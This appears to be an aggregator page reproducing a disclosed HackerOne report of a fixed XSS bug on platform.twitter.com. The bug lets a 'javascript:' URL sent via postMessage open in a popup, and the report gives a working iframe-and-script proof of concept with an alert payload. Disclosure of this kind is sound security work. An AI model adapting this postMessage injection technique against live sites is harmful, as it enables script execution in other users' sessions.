Skip to content
XSS Disclosed report Intermediate

XSS platform.twitter.com

batram Follow

Originally disclosed on HackerOne

  • Triaged in 24 hours
  • Fixed in 8 days
  • Paid in 5 days
  • Disclosed after 50 days

Since you have fixed a few problems with the FlashTransport on platform.twitter.com already, I though I would also take a look at the JavaScript around it.

Problem URL: https://platform.twitter.com/widgets/hub.html

Description: The mentioned page opens URLs send to it via postMessage or FlashTransport without checking for an 'javascript:'-prefix, resulting in XSS on platform.twitter.com. Since the URL gets open in a popup, popups need to be allowed or the opening a result of user interaction.

PoC:

<iframe src="https://platform.twitter.com/widgets/hub.html" id="iframe"></iframe>

<script>
  var win = document.getElementById("iframe").contentWindow

  function fire() {
    win.postMessage(
      '{"id": 12, "method": "openIntent", "params":["javascript:alert(document.domain)"]}',
      "https://platform.twitter.com/" 
    )
  }

  function listener(e){
    console.log(e.data);
    if(e.data == '__ready__')
      fire();
  }

  if (window.addEventListener){
    addEventListener("message", listener, false)
  } else {
    attachEvent("onmessage", listener)
  }
</script>

Tested in: Win 8.1 | Google Chrome | Version 39.0.2166.2 dev-m (64-bit)

The original report as published on HackerOne, by batram. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A XSS bug in X / xAI. HackerOne made it public on 17 November 2014.

About XSS

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by batram

View all

22 more disclosed reports, best first.

More from X / xAI

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.